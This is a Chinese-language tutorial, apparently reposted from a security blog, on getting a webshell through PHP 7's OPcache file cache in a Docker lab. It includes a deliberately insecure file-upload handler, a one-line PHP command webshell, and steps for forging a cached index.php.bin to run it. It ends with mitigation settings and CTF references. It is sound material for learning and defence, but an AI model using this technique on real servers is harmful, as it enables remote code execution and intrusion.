php7的Opcache getshell


OPcache基礎

OPcache是一種通過解析的PHP腳本預編譯的字節碼存放在共享內存中來避免每次加載和解析PHP腳本的開銷,解析器可以直接從共享內存讀取已經緩存的字節碼,從而大大提高了PHP的執行效率。
先看下PHP的正常執行流程
1.request請求(nginx,apache,cli等)
2.Zend引擎讀取.php文件
3.掃描其字典和表達式
4.解析文件
5.創建要執行的計算機代碼(成為Opcode)
6.最后執行Opcode
7.response返回
每一次執行PHP都要執行一遍上面的步驟,如果PHP源碼沒有變化,那么Opcode也不會變化,顯然沒必要 我們看看使用Opcache之后
避免重組編譯 減少CPU和內存開銷

OPcache配置解讀

//開啟opcache
opcache.enable=1

//CLI環境下,PHP啟用OPcache
opcache.enable_cli=1

//OPcache共享內存存儲大小,單位MB
opcache.memory_consumption=128  

//PHP使用了一種叫做字符串駐留(string interning)的技術來改善性能。例如,如果你在代碼中使用了1000次字符串“foobar”,在PHP內部只會在第一使用這個字符串的時候分配一個不可變的內存區域來存儲這個字符串,其他的999次使用都會直接指向這個內存區域。這個選項則會把這個特性提升一個層次——默認情況下這個不可變的內存區域只會存在於單個php-fpm的進程中,如果設置了這個選項,那么它將會在所有的php-fpm進程中共享。在比較大的應用中,這可以非常有效地節約內存,提高應用的性能。
這個選項的值是以兆字節(megabytes)作為單位,如果把它設置為16,則表示16MB,默認是4MB
opcache.interned_strings_buffer=8

//這個選項用於控制內存中最多可以緩存多少個PHP文件。這個選項必須得設置得足夠大,大於你的項目中的所有PHP文件的總和。
設置值取值范圍最小值是 200,最大值在 PHP 5.5.6 之前是 100000,PHP 5.5.6 及之后是 1000000。也就是說在200到1000000之間。
opcache.max_accelerated_files=4000

//設置緩存的過期時間(單位是秒),為0的話每次都要檢查
opcache.revalidate_freq=60

//從字面上理解就是“允許更快速關閉”。它的作用是在單個請求結束時提供一種更快速的機制來調用代碼中的析構器,
從而加快PHP的響應速度和PHP進程資源的回收速度,這樣應用程序可以更快速地響應下一個請求。把它設置為1就可以使用這個機制了。
opcache.fast_shutdown=1 //如果啟用(設置為1),OPcache會在opcache.revalidate_freq設置的秒數去檢測文件的時間戳(timestamp)檢查腳本是否更新。
如果這個選項被禁用(設置為0),opcache.revalidate_freq會被忽略,PHP文件永遠不會被檢查。這意味着如果你修改了你的代碼,然后你把它更新到服務器上,再在瀏覽器上請求更新的代碼對應的功能,你會看不到更新的效果 強烈建議你在生產環境中設置為0,更新代碼后,再平滑重啟PHP和web服務器。 opcache.validate_timestamps=0 //開啟Opcache File Cache(實驗性), 通過開啟這個, 我們可以讓Opcache把opcode緩存緩存到外部文件中, 對於一些腳本, 會有很明顯的性能提升. 這樣PHP就會在/tmp目錄下Cache一些Opcode的二進制導出文件, 可以跨PHP生命周期存在. opcache.file_cache=/tmp

Docker漏洞環境搭建

1.創建容器 

創建php7.0的容器 將當前主機的web目錄映射到容器中

docker run -d -p 8888:80 --name php80  -v /var/www:/var/www/html --privileged=true --restart=always php:7.0

2.找不到php.ini文件怎么辦?

通過這個方法搭建的時候發現php.ini找不到 這一點可以通過phpinfo函數找到 這個

 進入linux的/usr/local/etc/php  將目錄下的 php.ini-development 文件復制一份到當前文件夾下名為php.ini 重啟服務即可完美解決

 3.修改配置文件

在php.ini中 找到如下配置;opcache.enable= 0
//修改成(去掉;注釋,將0改成1)
opcache.enable=1
關閉時間戳驗證
;opcache.validate_timestamps=1
//修改成(去掉;注釋,將1改成0)
opcache.validate_timestamps=0
設置Opcache緩存路徑
;opcache.file_cache=
//修改
opcache.file_cache="/tmp/opcache"
設置緩存優先級
;opcache.file_cache_only=0
//修改
opcache.file_cache_only=1
在最后一行添加 用來引用opcache zend_extension=opcache.so 重啟服務器生效

4.添加漏洞頁面

在宿主機的web目錄創建即可

index.php

<html>
    <body>
        <form action="upload-file.php" method="post" enctype="multipart/form-data">
            <label for="file">filename:</label>
            <input type="file" name="file" id="file" />
            <br/>
            <label for="filepath">filepath:</label>
            <input type="text" name="filepath" id="filepath" />
            <br/>
            <input type="submit" name="submit" value="submit" />
        </form>
    </body>
</html>

upload-file.php

<?php
    $path = $_POST['filepath'];
    echo "filename: " . $_FILES["file"]["name"] . "<br />";  
    echo "type: " . $_FILES["file"]["type"] . "<br />";  
    echo "size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";   
    move_uploaded_file($_FILES["file"]["tmp_name"],  $path . $_FILES["file"]["name"]);  
    echo "save : " . $path . $_FILES["file"]["name"];    
?>

phpinfo.php

<?php
    phpinfo();
?>

Opcache漏洞復現

假設目標站點已經又一個phpinfo()文件了,通過這個文件可以得到Opcache緩存目錄,還需要下一步計算system_id
system_id是當前PHP版本號,Zend擴展版本號以及各個數據類型大小的MD5哈希值
腳本地址:https://github.com/GoSecure/php7-opcache-override
此時可以利用上傳漏洞將文件上傳到web目錄,但是目錄沒有讀寫的權限,這時候就可以通過/tmp/opcache/[system_id]/var/www/index.php.bin為一個webshell的二進制緩存運行webshell
 
本地構建webshell文件index.php
<?php
   system($_GET['cmd']);
?>
1.在本地php.ini中設置opcache.file_cache為你所想要指定的緩存目錄

2.運行php服務器向index發送請求,觸發緩存疫情進行文件緩存

3.打開緩存目錄中的index.php.bin文件修改里面的的system_id為目標站點的system_id  記事本打開就ok改成我們用腳本計算出來的system_id值

4.通過上傳漏洞將修改后的index.php.bin上傳到tmp/opcache/[system_id]/var/www/index.php.bin覆蓋掉原來的index.php.bin
重新訪問index.php,就成功運行了webshell

漏洞修補:

   禁用file_cache_only
   啟用validate_timestamp

參考引用+其他延伸

CTF題
https://ctf.rip/asis-ctf-2016-binarycloud-web-challenge/
https://github.com/tothi/ctfs/tree/master/alictf-2016/homework
php安裝后找不到php.ini
利用PHP的OPcache機制getshell/
https://chybeta.github.io/2017/05/13/利用PHP的OPcache機制
http://www.vuln.cn/6763


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM